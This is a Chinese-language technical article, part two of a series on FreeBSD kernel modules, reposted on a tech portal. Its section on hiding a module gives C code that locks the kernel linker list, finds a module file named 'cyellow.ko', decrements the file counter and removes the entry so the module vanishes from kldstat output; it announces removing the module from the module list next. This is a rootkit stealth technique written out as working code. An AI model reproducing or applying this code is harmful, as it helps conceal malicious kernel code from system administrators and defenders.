玩转freebsd内核模块(2)

豆豆网   技术应用频道   2007年01月13日  【字号: 收藏本文

本文详细介绍玩转freebsd内核模块(2)

  文章第一部分:http://tech.ddvip.com/2007-01/116870106917928.html

  3.6.隐藏模块

  重要的,我们当然要隐藏模块自身了(kldstat|kldstat-v区别;))

  前面我们已经提到了维持了一系列连入内核的文件(.ko),是个队列linker_files(这个是个linker_file结构的队列)。所以我们要首先隐藏文件本身,队列linker_files定义在/sys/kern/kern_linker.c此外它还有一个计数单元定义在next_file_id,这个

  数应该是现在的文件数+1。所以我们要首先递减它,相同的还有一个内核用来统计的引用值,现在从队列中删除模块

      externlinker_file_list_tlinker_files;
      externintnext_file_id;
      externstructlocklock;
      [...]
      linker_file_tlf=0;
      /*lockexclusive,sincewechangethings*/
      lockmgr(&lock,LK_EXCLUSIVE,0,curproc);
      (&linker_files)->tqh_first->refs--;
      TAILQ_FOREACH(lf,&linker_files,link){  //宏定义遍历队列得到linker_file结构
        if(!strcmp(lf->filename,"cyellow.ko")){
         /*firstlet'sdecrementthegloballinkfilecounter*/
         next_file_id--;
         /*nowlet'sremovetheentry*/
         TAILQ_REMOVE(&linker_files,lf,link);//从队列中删除
         break;  
        }
      }
      lockmgr(&lock,LK_RELEASE,0,curproc);

  下一步我们就要把文件包含的模块也从模块队列中删除,象文件队列一样,其中也有引用计数,以及模块计数单元。

责编:豆豆技术应用

正在加载评论...